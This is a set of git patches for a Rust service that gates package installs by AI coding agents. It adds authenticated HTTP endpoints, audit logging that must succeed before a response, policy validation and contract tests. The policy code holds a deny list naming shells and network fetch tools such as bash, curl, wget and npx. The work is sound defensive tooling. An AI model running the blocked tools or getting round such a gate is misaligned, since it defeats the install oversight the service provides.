'github-actions[bot]' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + ref: feat/agent-artifact-admission + fetch-depth: 0 + - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable + with: + toolchain: stable + - name: Refresh only the manifest-required lockfile edges + run: cargo check -p wardnet-agent-artifact-admission --tests + - name: Remove the completed one-shot workflow + run: rm .github/workflows/agent-admission-lock-refresh.yml + - name: Commit the lockfile and workflow cleanup + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + git add Cargo.lock .github/workflows/agent-admission-lock-refresh.yml + git diff --cached --check + git commit -m "chore(lock): refresh admission service dependencies" + git push origin HEAD:feat/agent-artifact-admission diff --git a/crates/agent-artifact-admission/Cargo.toml b/crates/agent-artifact-admission/Cargo.toml index c3ff30cf..9acea34b 100644 --- a/crates/agent-artifact-admission/Cargo.toml +++ b/crates/agent-artifact-admission/Cargo.toml @@ -6,7 +6,12 @@ description = "Fail-closed package-install admission policy for AI coding agents license = "MIT" [dependencies] +axum = "0.8" ring = "0.17" serde = { version = "1", features = ["derive"] } serde_json = "1" +tokio = { version = "1", features = ["macros", "net", "rt-multi-thread", "signal"] } url = "2" + +[dev-dependencies] +tower = { version = "0.5", features = ["util"] } diff --git a/crates/agent-artifact-admission/tests/http_contract.rs b/crates/agent-artifact-admission/tests/http_contract.rs new file mode 100644 index 00000000..a04b235c --- /dev/null +++ b/crates/agent-artifact-admission/tests/http_contract.rs @@ -0,0 +1,317 @@ +use std::sync::Arc; + +use axum::{ + body::{Body, to_bytes}, + http::{HeaderValue, Request, StatusCode, header::CONTENT_TYPE}, +}; +use serde::de::DeserializeOwned; +use tower::ServiceExt; +use wardnet_agent_artifact_admission::{ + AdmissionDecision, AdmissionPolicy, AdmissionState, ApprovedArtifact, ApprovedManifest, + AuditError, AuditRecord, AuditSink, DecisionKind, InstallIntent, MemoryAuditSink, ReasonCode, + build_app, +}; + +const ADMIN_TOKEN: &str = "0123456789abcdef0123456789abcdef"; + +fn digest(byte: char) -> String { + std::iter::repeat_n(byte, 64).collect() +} + +fn approved_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-08-29.2".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: digest('a'), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: digest('c'), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }], + } +} + +fn approved_intent() -> InstallIntent { + InstallIntent::unowned_llms_package_for_test() +} + +fn state( + policy: AdmissionPolicy, + sink: Arc, + max_request_body_bytes: usize, +) -> AdmissionState { + AdmissionState::new( + policy, + ADMIN_TOKEN.to_string(), + sink, + max_request_body_bytes, + ) +} + +fn admission_request(body: Vec, token: Option) -> Request { + let mut request = Request::builder() + .method("POST") + .uri("/v1/admissions") + .header(CONTENT_TYPE, "application/json") + .body(Body::from(body)) + .expect("request must build"); + if let Some(token) = token { + request.headers_mut().append("x-admin-token", token); + } + request +} + +fn policy_request(token: Option) -> Request { + let mut request = Request::builder() + .method("GET") + .uri("/v1/policy") + .body(Body::empty()) + .expect("request must build"); + if let Some(token) = token { + request.headers_mut().append("x-admin-token", token); + } + request +} + +async fn decode_json(response: axum::response::Response) -> T { + let bytes = to_bytes(response.into_body(), 1024 * 1024) + .await + .expect("response body must be readable"); + serde_json::from_slice(&bytes).expect("response body must be JSON") +} + +#[tokio::test] +async fn policy_endpoint_rejects_missing_duplicate_wrong_non_ascii_and_oversized_tokens() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink, 64 * 1024)); + + let mut cases = vec![ + policy_request(None), + policy_request(Some(HeaderValue::from_static( + "fedcba9876543210fedcba9876543210", + ))), + policy_request(Some(HeaderValue::from_static( + "0123456789abcdef0123456789abcdefx", + ))), + policy_request(Some(HeaderValue::from_static(""))), + policy_request(Some( + HeaderValue::from_str(&"x".repeat(4097)).expect("oversized test header must build"), + )), + ]; + + let non_ascii = vec![0x80; 32]; + cases.push(policy_request(Some( + HeaderValue::from_bytes(&non_ascii).expect("obs-text test header must build"), + ))); + + let mut duplicate = policy_request(Some(HeaderValue::from_static(ADMIN_TOKEN))); + duplicate + .headers_mut() + .append("x-admin-token", HeaderValue::from_static(ADMIN_TOKEN)); + cases.push(duplicate); + + for request in cases { + let response = app + .clone() + .oneshot(request) + .await + .expect("router must answer"); + assert_eq!(response.status(), StatusCode::UNAUTHORIZED); + } + + let response = app + .oneshot(policy_request(Some(HeaderValue::from_static(ADMIN_TOKEN)))) + .await + .expect("router must answer"); + assert_eq!(response.status(), StatusCode::OK); + let returned: AdmissionPolicy = decode_json(response).await; + assert_eq!(returned, approved_policy()); +} + +#[tokio::test] +async fn health_is_unauthenticated_and_exposes_only_policy_identity_and_counts() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink, 64 * 1024)); + let request = Request::builder() + .uri("/healthz") + .body(Body::empty()) + .expect("request must build"); + + let response = app.oneshot(request).await.expect("router must answer"); + + assert_eq!(response.status(), StatusCode::OK); + let body: serde_json::Value = decode_json(response).await; + assert_eq!(body["status"], "ok"); + assert_eq!(body["policy_id"], "enterprise-default"); + assert_eq!(body["policy_revision"], "2026-08-29.2"); + assert_eq!(body["approved_manifest_count"], 1); + assert_eq!(body["approved_artifact_count"], 1); + assert!(body.get("admin_token").is_none()); +} + +#[tokio::test] +async fn candidate_allow_is_returned_only_after_audit_append() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink.clone(), 64 * 1024)); + let body = serde_json::to_vec(&approved_intent()).expect("intent must serialize"); + + let response = app + .oneshot(admission_request( + body, + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::OK); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Allow); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert_eq!(records[0].decision, DecisionKind::Allow); + assert_eq!(records[0].request_id, decision.request_id); +} + +#[tokio::test] +async fn policy_block_is_a_durable_http_200_decision() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state( + AdmissionPolicy::deny_all_for_test(), + sink.clone(), + 64 * 1024, + )); + let body = serde_json::to_vec(&approved_intent()).expect("intent must serialize"); + + let response = app + .oneshot(admission_request( + body, + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::OK); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + ); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert_eq!(records[0].decision, DecisionKind::Block); +} + +#[tokio::test] +async fn malformed_authenticated_json_is_audited_before_bad_request() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink.clone(), 64 * 1024)); + + let response = app + .oneshot(admission_request( + br#"{"request_id":"unfinished""#.to_vec(), + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::BAD_REQUEST); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::MalformedRequest)); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert!(records[0].request_id.starts_with("malformed:")); + assert!( + records[0] + .reason_codes + .contains(&ReasonCode::MalformedRequest) + ); +} + +#[tokio::test] +async fn structurally_invalid_authenticated_intent_is_audited_and_returns_bad_request() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink.clone(), 64 * 1024)); + let mut intent = approved_intent(); + intent.operation = "execute".to_string(); + + let response = app + .oneshot(admission_request( + serde_json::to_vec(&intent).expect("intent must serialize"), + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::BAD_REQUEST); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::InvalidOperation)); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert!( + records[0] + .reason_codes + .contains(&ReasonCode::InvalidOperation) + ); +} + +struct FailingAuditSink; + +impl AuditSink for FailingAuditSink { + fn append(&self, _record: &AuditRecord) -> Result<(), AuditError> { + Err(AuditError::StorageUnavailable) + } +} + +#[tokio::test] +async fn audit_outage_converts_candidate_allow_and_block_to_service_unavailable() { + for policy in [approved_policy(), AdmissionPolicy::deny_all_for_test()] { + let app = build_app(state(policy, Arc::new(FailingAuditSink), 64 * 1024)); + let body = serde_json::to_vec(&approved_intent()).expect("intent must serialize"); + + let response = app + .oneshot(admission_request( + body, + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::SERVICE_UNAVAILABLE); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!(decision.reason_codes, vec![ReasonCode::AuditUnavailable]); + } +} + +#[tokio::test] +async fn configured_body_limit_returns_payload_too_large_without_an_audit_record() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink.clone(), 32)); + + let response = app + .oneshot(admission_request( + vec![b'x'; 128], + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::PAYLOAD_TOO_LARGE); + assert!( + sink.records() + .expect("audit snapshot must succeed") + .is_empty() + ); +} From 2e882b7658ff26903d61b9bc0281cef9f48d6ae7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 29 Aug 2026 05:18:35 -0700 Subject: [PATCH 017/702] feat(security): expose authenticated artifact admission service --- .../agent-admission-lock-refresh.yml | 10 +- crates/agent-artifact-admission/src/audit.rs | 135 ++++++-- crates/agent-artifact-admission/src/config.rs | 63 +--- crates/agent-artifact-admission/src/http.rs | 305 ++++++++++++++++++ crates/agent-artifact-admission/src/lib.rs | 8 +- crates/agent-artifact-admission/src/main.rs | 15 + crates/agent-artifact-admission/src/model.rs | 31 +- crates/agent-artifact-admission/src/policy.rs | 292 +++++++++++++++-- .../tests/audit_contract.rs | 13 +- tests/agent_artifact_admission_red.rs | 23 -- 10 files changed, 742 insertions(+), 153 deletions(-) create mode 100644 crates/agent-artifact-admission/src/http.rs create mode 100644 crates/agent-artifact-admission/src/main.rs delete mode 100644 tests/agent_artifact_admission_red.rs diff --git a/.github/workflows/agent-admission-lock-refresh.yml b/.github/workflows/agent-admission-lock-refresh.yml index 3d6af80e..d33a3c41 100644 --- a/.github/workflows/agent-admission-lock-refresh.yml +++ b/.github/workflows/agent-admission-lock-refresh.yml @@ -1,4 +1,4 @@ -name: Refresh agent admission lockfile +name: Verify and refresh agent admission lockfile on: push: @@ -6,13 +6,15 @@ on: - feat/agent-artifact-admission paths: - crates/agent-artifact-admission/Cargo.toml + - crates/agent-artifact-admission/src/** + - crates/agent-artifact-admission/tests/** - .github/workflows/agent-admission-lock-refresh.yml permissions: contents: write jobs: - refresh-lockfile: + verify-and-refresh: if: github.actor != 'github-actions[bot]' runs-on: ubuntu-latest steps: @@ -23,8 +25,8 @@ jobs: - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable with: toolchain: stable - - name: Refresh only the manifest-required lockfile edges - run: cargo check -p wardnet-agent-artifact-admission --tests + - name: Verify the focused service and refresh its lockfile edges + run: cargo test -p wardnet-agent-artifact-admission --tests - name: Remove the completed one-shot workflow run: rm .github/workflows/agent-admission-lock-refresh.yml - name: Commit the lockfile and workflow cleanup diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs index 4ca5f390..bea1f419 100644 --- a/crates/agent-artifact-admission/src/audit.rs +++ b/crates/agent-artifact-admission/src/audit.rs @@ -7,9 +7,12 @@ use std::time::{SystemTime, UNIX_EPOCH}; use serde::{Deserialize, Serialize}; +use crate::policy::{ + auditable_identifier, canonical_registry_url, normalize_https_source_uri, valid_text_field, +}; use crate::{ - AdmissionDecision, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSourceKind, - ReasonCode, + AdmissionDecision, AdmissionPolicy, ArtifactCoordinate, DecisionKind, InstallIntent, + InstructionSourceKind, ReasonCode, is_sha256_hex, sha256_hex, }; const MAX_AUDIT_LINE_BYTES: usize = 64 * 1024; @@ -32,15 +35,24 @@ pub struct AuditArtifact { pub sha256: String, } -impl From<&ArtifactCoordinate> for AuditArtifact { - fn from(artifact: &ArtifactCoordinate) -> Self { +impl AuditArtifact { + fn from_coordinate(artifact: &ArtifactCoordinate) -> Self { Self { - ecosystem: artifact.ecosystem.clone(), - name: artifact.name.clone(), - version: artifact.version.clone(), - registry_url: artifact.registry_url.clone(), - owner: artifact.owner.clone(), - sha256: artifact.sha256.clone(), + ecosystem: auditable_identifier("ecosystem", &artifact.ecosystem, 64), + name: auditable_identifier("artifact", &artifact.name, 512), + version: auditable_identifier("version", &artifact.version, 256), + registry_url: canonical_registry_url(&artifact.registry_url).unwrap_or_else(|| { + format!( + "registry:sha256:{}", + sha256_hex(artifact.registry_url.as_bytes()) + ) + }), + owner: auditable_identifier("owner", &artifact.owner, 512), + sha256: if is_sha256_hex(&artifact.sha256) { + artifact.sha256.clone() + } else { + sha256_hex(artifact.sha256.as_bytes()) + }, } } } @@ -51,11 +63,11 @@ impl From<&ArtifactCoordinate> for AuditArtifact { pub struct AuditRecord { /// Milliseconds since the Unix epoch when the record was constructed. pub timestamp_unix_ms: u128, - /// Caller-supplied stable request identifier. + /// Caller-supplied stable request identifier or a malformed-body surrogate. pub request_id: String, - /// Identity of the requesting agent or broker. + /// Identity of the requesting agent or broker when available. pub actor_id: String, - /// Workspace or repository identifier. + /// Workspace or repository identifier when available. pub workspace_id: String, /// Structured operation, such as `install`. pub operation: String, @@ -68,15 +80,17 @@ pub struct AuditRecord { /// Immutable policy revision identifier. pub policy_revision: String, /// Instruction-source kind without untrusted raw content. - pub source_kind: InstructionSourceKind, + pub source_kind: Option, /// Source URI after removing query and fragment data. pub normalized_source_uri: Option, - /// SHA-256 digest of remote source content when supplied. + /// SHA-256 digest of remote source content when supplied and valid. pub source_content_sha256: Option, - /// SHA-256 digest of the structured command vector; raw argv is never persisted. + /// SHA-256 digest of the structured command vector or malformed body. pub command_sha256: String, - /// Reviewed dependency-manifest digest supplied with the request. - pub manifest_sha256: String, + /// SHA-256 digest of a malformed authenticated request body when parsing failed. + pub request_body_sha256: Option, + /// Reviewed dependency-manifest digest supplied with a parsed request. + pub manifest_sha256: Option, /// Content-addressed artifact coordinates with no command argument token. pub artifacts: Vec, } @@ -185,25 +199,78 @@ impl AuditSink for MemoryAuditSink { } } -/// Build minimized audit evidence from an admission request and its deterministic decision. -pub fn build_audit_record(intent: &InstallIntent, decision: &AdmissionDecision) -> AuditRecord { - AuditRecord { - timestamp_unix_ms: unix_timestamp_ms().unwrap_or_default(), - request_id: intent.request_id.clone(), - actor_id: intent.actor_id.clone(), - workspace_id: intent.workspace_id.clone(), - operation: intent.operation.clone(), +/// Build minimized audit evidence from a parsed admission request and its decision. +pub fn build_audit_record( + intent: &InstallIntent, + decision: &AdmissionDecision, +) -> Result { + Ok(AuditRecord { + timestamp_unix_ms: unix_timestamp_ms()?, + request_id: auditable_identifier("request", &intent.request_id, 256), + actor_id: auditable_identifier("actor", &intent.actor_id, 512), + workspace_id: auditable_identifier("workspace", &intent.workspace_id, 512), + operation: if valid_text_field(&intent.operation, 32) { + intent.operation.clone() + } else { + "invalid".to_string() + }, decision: decision.decision, reason_codes: decision.reason_codes.clone(), - policy_id: decision.policy_id.clone(), - policy_revision: decision.policy_revision.clone(), - source_kind: intent.source.kind, - normalized_source_uri: decision.normalized_source_uri.clone(), - source_content_sha256: intent.source.content_sha256.clone(), + policy_id: auditable_identifier("policy", &decision.policy_id, 256), + policy_revision: auditable_identifier("policy_revision", &decision.policy_revision, 256), + source_kind: Some(intent.source.kind), + normalized_source_uri: intent + .source + .uri + .as_deref() + .and_then(normalize_https_source_uri), + source_content_sha256: intent + .source + .content_sha256 + .as_ref() + .filter(|digest| is_sha256_hex(digest)) + .cloned(), command_sha256: decision.command_sha256.clone(), - manifest_sha256: intent.manifest_sha256.clone(), - artifacts: intent.artifacts.iter().map(AuditArtifact::from).collect(), - } + request_body_sha256: None, + manifest_sha256: is_sha256_hex(&intent.manifest_sha256) + .then(|| intent.manifest_sha256.clone()), + artifacts: intent + .artifacts + .iter() + .take(64) + .map(AuditArtifact::from_coordinate) + .collect(), + }) +} + +/// Build minimized evidence for authenticated JSON that failed strict parsing. +pub fn build_malformed_audit_record( + policy: &AdmissionPolicy, + request_body_sha256: &str, +) -> Result { + let digest = if is_sha256_hex(request_body_sha256) { + request_body_sha256.to_string() + } else { + sha256_hex(request_body_sha256.as_bytes()) + }; + Ok(AuditRecord { + timestamp_unix_ms: unix_timestamp_ms()?, + request_id: format!("malformed:{digest}"), + actor_id: "unavailable".to_string(), + workspace_id: "unavailable".to_string(), + operation: "unavailable".to_string(), + decision: DecisionKind::Block, + reason_codes: vec![ReasonCode::MalformedRequest], + policy_id: auditable_identifier("policy", &policy.policy_id, 256), + policy_revision: auditable_identifier("policy_revision", &policy.policy_revision, 256), + source_kind: None, + normalized_source_uri: None, + source_content_sha256: None, + command_sha256: digest.clone(), + request_body_sha256: Some(digest), + manifest_sha256: None, + artifacts: Vec::new(), + }) } fn encode_record(record: &AuditRecord) -> Result, AuditError> { diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs index ffcd808e..6d8dfed5 100644 --- a/crates/agent-artifact-admission/src/config.rs +++ b/crates/agent-artifact-admission/src/config.rs @@ -6,8 +6,11 @@ use std::net::SocketAddr; use std::path::Path; use serde::{Deserialize, Serialize}; -use url::Url; +use crate::policy::{ + canonical_registry_url, is_permanently_forbidden_executable, supported_executable, + valid_pinned_version, valid_text_field, +}; use crate::{AdmissionPolicy, is_sha256_hex}; const MAX_CONFIG_FILE_BYTES: u64 = 1024 * 1024; @@ -167,6 +170,7 @@ fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { let mut executables = BTreeSet::new(); for executable in &policy.allowed_executables { if !valid_executable(executable) + || !supported_executable(executable) || is_permanently_forbidden_executable(executable) || !executables.insert(executable.as_str()) { @@ -189,7 +193,7 @@ fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { if !valid_text_field(&artifact.ecosystem, 64) || !valid_text_field(&artifact.name, 512) || !valid_pinned_version(&artifact.version) - || !valid_https_registry(&artifact.registry_url) + || canonical_registry_url(&artifact.registry_url).is_none() || !valid_text_field(&artifact.owner, 512) || !is_sha256_hex(&artifact.sha256) || !valid_text_field(&artifact.artifact_argument, 1024) @@ -198,6 +202,9 @@ fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { artifact.name.as_str(), artifact.version.as_str(), artifact.registry_url.as_str(), + artifact.owner.as_str(), + artifact.sha256.as_str(), + artifact.artifact_argument.as_str(), )) { return Err(ConfigError::InvalidConfiguration); @@ -220,12 +227,9 @@ fn validate_admin_token(token: &str) -> Result<(), ConfigError> { Ok(()) } -fn valid_text_field(value: &str, maximum_bytes: usize) -> bool { - !value.is_empty() && value.len() <= maximum_bytes && !value.chars().any(char::is_control) -} - fn valid_executable(value: &str) -> bool { valid_text_field(value, 128) + && value == value.to_ascii_lowercase() && !value.contains('/') && !value.contains('\\') && value @@ -233,53 +237,6 @@ fn valid_executable(value: &str) -> bool { .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'-' | b'_' | b'.' | b'+')) } -fn is_permanently_forbidden_executable(executable: &str) -> bool { - matches!( - executable, - "sh" | "bash" - | "zsh" - | "cmd" - | "powershell" - | "pwsh" - | "curl" - | "wget" - | "aria2c" - | "ftp" - | "scp" - | "npx" - | "pnpx" - | "bunx" - ) -} - -fn valid_pinned_version(version: &str) -> bool { - if !valid_text_field(version, 256) { - return false; - } - let lowercase = version.to_ascii_lowercase(); - if matches!( - lowercase.as_str(), - "latest" | "main" | "master" | "head" | "stable" | "next" - ) { - return false; - } - !version - .chars() - .any(|character| character.is_whitespace() || "*^~<>=,|".contains(character)) -} - -fn valid_https_registry(registry_url: &str) -> bool { - let Ok(url) = Url::parse(registry_url) else { - return false; - }; - url.scheme() == "https" - && url.host_str().is_some() - && url.username().is_empty() - && url.password().is_none() - && url.query().is_none() - && url.fragment().is_none() -} - fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { let file = File::open(path).map_err(|_| ConfigError::Io)?; let mut bytes = Vec::new(); diff --git a/crates/agent-artifact-admission/src/http.rs b/crates/agent-artifact-admission/src/http.rs new file mode 100644 index 00000000..d6cf185a --- /dev/null +++ b/crates/agent-artifact-admission/src/http.rs @@ -0,0 +1,305 @@ +use std::fmt; +use std::future::pending; +use std::net::SocketAddr; +use std::path::Path; +use std::sync::Arc; + +use axum::{ + Json, Router, + body::Bytes, + extract::{DefaultBodyLimit, State}, + http::{HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + routing::{get, post}, +}; +use serde::Serialize; +use tokio::net::TcpListener; + +use crate::{ + AdmissionDecision, AdmissionPolicy, AdmissionServiceConfig, AuditRecord, AuditSink, + DecisionKind, FileAuditSink, InstallIntent, ReasonCode, admission_decision, + build_audit_record, build_malformed_audit_record, load_admin_token, load_config, parse_cli_args, + sha256_hex, validate_install_intent, +}; + +const MAX_ADMIN_TOKEN_BYTES: usize = 4096; +const TOKEN_COMPARISON_BYTES: usize = MAX_ADMIN_TOKEN_BYTES + 2; + +/// Shared immutable state for the loopback-only admission HTTP service. +#[derive(Clone)] +pub struct AdmissionState { + policy: Arc, + admin_token: Arc, + audit_sink: Arc, + max_request_body_bytes: usize, +} + +impl AdmissionState { + /// Construct service state from validated policy, credential, and audit dependencies. + pub fn new( + policy: AdmissionPolicy, + admin_token: String, + audit_sink: Arc, + max_request_body_bytes: usize, + ) -> Self { + Self { + policy: Arc::new(policy), + admin_token: Arc::from(admin_token), + audit_sink, + max_request_body_bytes, + } + } +} + +/// Stable process-level service failure that never exposes paths, tokens, or request content. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ServiceError { + /// Configuration or credential loading failed. + Configuration, + /// The validated loopback listener could not be bound. + Bind, + /// The HTTP server terminated with an error. + Serve, +} + +impl fmt::Display for ServiceError { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + let message = match self { + Self::Configuration => "agent artifact admission configuration failed", + Self::Bind => "agent artifact admission listener failed", + Self::Serve => "agent artifact admission service failed", + }; + formatter.write_str(message) + } +} + +impl std::error::Error for ServiceError {} + +/// Build the authenticated admission router with its configured request-body limit. +pub fn build_app(state: AdmissionState) -> Router { + let max_request_body_bytes = state.max_request_body_bytes; + Router::new() + .route("/healthz", get(healthz)) + .route("/v1/policy", get(get_policy)) + .route("/v1/admissions", post(create_admission)) + .layer(DefaultBodyLimit::max(max_request_body_bytes)) + .with_state(state) +} + +/// Run the standalone loopback service from a validated configuration and credential. +pub async fn run_service( + config: AdmissionServiceConfig, + admin_token: String, +) -> Result<(), ServiceError> { + let address: SocketAddr = config + .bind_address + .parse() + .map_err(|_| ServiceError::Configuration)?; + if !address.ip().is_loopback() || address.port() == 0 { + return Err(ServiceError::Configuration); + } + + let audit_sink: Arc = Arc::new(FileAuditSink::new(config.audit_log_path)); + let state = AdmissionState::new( + config.policy, + admin_token, + audit_sink, + config.max_request_body_bytes, + ); + let listener = TcpListener::bind(address) + .await + .map_err(|_| ServiceError::Bind)?; + axum::serve(listener, build_app(state)) + .with_graceful_shutdown(shutdown_signal()) + .await + .map_err(|_| ServiceError::Serve) +} + +/// Parse strict CLI arguments, load bounded files, and run the standalone service. +pub async fn run_cli(args: &[String]) -> Result<(), ServiceError> { + let cli = parse_cli_args(args).map_err(|_| ServiceError::Configuration)?; + let config = load_config(Path::new(&cli.config_path)).map_err(|_| ServiceError::Configuration)?; + let token = load_admin_token(Path::new(&cli.credentials_path)) + .map_err(|_| ServiceError::Configuration)?; + run_service(config, token).await +} + +#[derive(Serialize)] +struct HealthView { + status: &'static str, + policy_id: String, + policy_revision: String, + allowed_executable_count: usize, + approved_manifest_count: usize, + approved_artifact_count: usize, +} + +#[derive(Serialize)] +struct ErrorView { + error: &'static str, +} + +async fn healthz(State(state): State) -> Json { + Json(HealthView { + status: "ok", + policy_id: state.policy.policy_id.clone(), + policy_revision: state.policy.policy_revision.clone(), + allowed_executable_count: state.policy.allowed_executables.len(), + approved_manifest_count: state.policy.approved_manifests.len(), + approved_artifact_count: state.policy.approved_artifacts.len(), + }) +} + +async fn get_policy(State(state): State, headers: HeaderMap) -> Response { + if !authenticated(&headers, &state.admin_token) { + return unauthorized(); + } + Json((*state.policy).clone()).into_response() +} + +async fn create_admission( + State(state): State, + headers: HeaderMap, + body: Bytes, +) -> Response { + if !authenticated(&headers, &state.admin_token) { + return unauthorized(); + } + + let intent = match serde_json::from_slice::(&body) { + Ok(intent) => intent, + Err(_) => return malformed_request_response(&state, &body).await, + }; + + let structural_reasons = validate_install_intent(&intent); + let decision = admission_decision(&state.policy, &intent); + let response_status = if structural_reasons.is_empty() { + StatusCode::OK + } else { + StatusCode::BAD_REQUEST + }; + let record = match build_audit_record(&intent, &decision) { + Ok(record) => record, + Err(_) => return audit_unavailable_response(&decision), + }; + append_before_response(&state, record, decision, response_status).await +} + +async fn malformed_request_response(state: &AdmissionState, body: &[u8]) -> Response { + let body_digest = sha256_hex(body); + let decision = malformed_decision(&state.policy, &body_digest); + let record = match build_malformed_audit_record(&state.policy, &body_digest) { + Ok(record) => record, + Err(_) => return audit_unavailable_response(&decision), + }; + append_before_response(state, record, decision, StatusCode::BAD_REQUEST).await +} + +async fn append_before_response( + state: &AdmissionState, + record: AuditRecord, + decision: AdmissionDecision, + status: StatusCode, +) -> Response { + let sink = state.audit_sink.clone(); + let append_result = tokio::task::spawn_blocking(move || sink.append(&record)).await; + match append_result { + Ok(Ok(())) => (status, Json(decision)).into_response(), + Ok(Err(_)) | Err(_) => audit_unavailable_response(&decision), + } +} + +fn malformed_decision(policy: &AdmissionPolicy, body_digest: &str) -> AdmissionDecision { + AdmissionDecision { + request_id: format!("malformed:{body_digest}"), + decision: DecisionKind::Block, + reason_codes: vec![ReasonCode::MalformedRequest], + policy_id: policy.policy_id.clone(), + policy_revision: policy.policy_revision.clone(), + normalized_source_uri: None, + command_sha256: body_digest.to_string(), + artifact_count: 0, + } +} + +fn audit_unavailable_response(candidate: &AdmissionDecision) -> Response { + let blocked = AdmissionDecision { + request_id: candidate.request_id.clone(), + decision: DecisionKind::Block, + reason_codes: vec![ReasonCode::AuditUnavailable], + policy_id: candidate.policy_id.clone(), + policy_revision: candidate.policy_revision.clone(), + normalized_source_uri: candidate.normalized_source_uri.clone(), + command_sha256: candidate.command_sha256.clone(), + artifact_count: candidate.artifact_count, + }; + (StatusCode::SERVICE_UNAVAILABLE, Json(blocked)).into_response() +} + +fn unauthorized() -> Response { + ( + StatusCode::UNAUTHORIZED, + Json(ErrorView { + error: "unauthorized", + }), + ) + .into_response() +} + +fn authenticated(headers: &HeaderMap, configured: &str) -> bool { + let mut values = headers.get_all("x-admin-token").iter(); + let Some(value) = values.next() else { + return false; + }; + if values.next().is_some() { + return false; + } + let Ok(presented) = value.to_str() else { + return false; + }; + constant_time_token_equal(presented, configured) +} + +fn constant_time_token_equal(presented: &str, configured: &str) -> bool { + if presented.len() > MAX_ADMIN_TOKEN_BYTES + || configured.len() > MAX_ADMIN_TOKEN_BYTES + || !presented + .as_bytes() + .iter() + .all(|byte| (0x21..=0x7e).contains(byte)) + { + return false; + } + + let mut presented_buffer = [0_u8; TOKEN_COMPARISON_BYTES]; + let mut configured_buffer = [0_u8; TOKEN_COMPARISON_BYTES]; + presented_buffer[..2].copy_from_slice(&(presented.len() as u16).to_be_bytes()); + configured_buffer[..2].copy_from_slice(&(configured.len() as u16).to_be_bytes()); + presented_buffer[2..2 + presented.len()].copy_from_slice(presented.as_bytes()); + configured_buffer[2..2 + configured.len()].copy_from_slice(configured.as_bytes()); + + ring::constant_time::verify_slices_are_equal(&presented_buffer, &configured_buffer).is_ok() +} + +async fn shutdown_signal() { + #[cfg(unix)] + { + let terminate = async { + match tokio::signal::unix::signal(tokio::signal::unix::SignalKind::terminate()) { + Ok(mut signal) => { + let _ = signal.recv().await; + } + Err(_) => pending::<()>().await, + } + }; + tokio::select! { + _ = tokio::signal::ctrl_c() => {} + _ = terminate => {} + } + } + + #[cfg(not(unix))] + { + let _ = tokio::signal::ctrl_c().await; + } +} diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 023a1a85..967ca25f 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -2,19 +2,23 @@ mod audit; mod config; +mod http; mod model; mod policy; pub use audit::{ 